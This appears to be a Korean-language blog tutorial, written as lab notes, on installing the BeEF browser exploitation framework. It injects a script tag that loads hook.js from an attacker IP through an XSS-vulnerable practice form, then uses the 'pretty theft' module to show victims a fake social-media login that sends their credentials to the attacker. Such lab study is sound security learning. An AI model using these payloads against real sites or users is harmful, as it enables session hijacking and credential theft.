agencies

beef-xss 본문

Ⅲ. 정보보안

beef-xss

agencies 2024. 4. 19. 12:20

※ 설치 방법

sudo apt-get update

sudo apt install beef-xss


크로스사이트 스크립팅 취약점이 존재하면 공격자는 세션 탈취 이외에도 다양한 공격을 수행할 수 있습니다.

beff는 브라우저 익스플로잇 프레임워크 프로그램으로 자체적으로 제공하는 자바스크립트로 된 후킹 코드를 사용자가

실행하면, 그 사용자의 호스트를 대상으로 여러 가지 공격을 실행할 수 있도록 하는 프로그램입니다.

 

 

beef를 실행한 화면


 

security 쿠키값이 low 인 상태에서

<script src="공격자ip/hook.js"></script>

<script src='http://192.168.0.19:3000/hook.js'></script>

를 입력하고 submit을 누릅니다.

 

 

※ 공격자 ip(beef-xss)수정방법

경로 : /usr/share/beef-xss

 

sudo systemctl restart beef-xss

 

 

 

후크 스크립트를 실행한 호스트가 표시되었습니다.

이 호스트를 선택하면 호스트의 각종 정보가 출력됩니다.

 

 

 

커맨드에서 pretty theft를 선택

* pretty theft란 유명 sns 사이트의 인터페이스를 모방해서 사용자로 하여금 그 sns 사이트의 아이디와 패스워드를 입력하도록 유도하는 기능입니다.

 

execute 버튼을 클릭합니다.

 

그렇게 되면 후킹 코드를 실행한 피해자의 화면을 보면 위와 같이 팝업창이 나타나게 됩니다.

 

사용자가 email과 password를 입력해서 login버튼을 클릭하게 된다면

공격자의 화면에서는 피해자가 입력한 정보가 비프 프로그램에 표시가됩니다.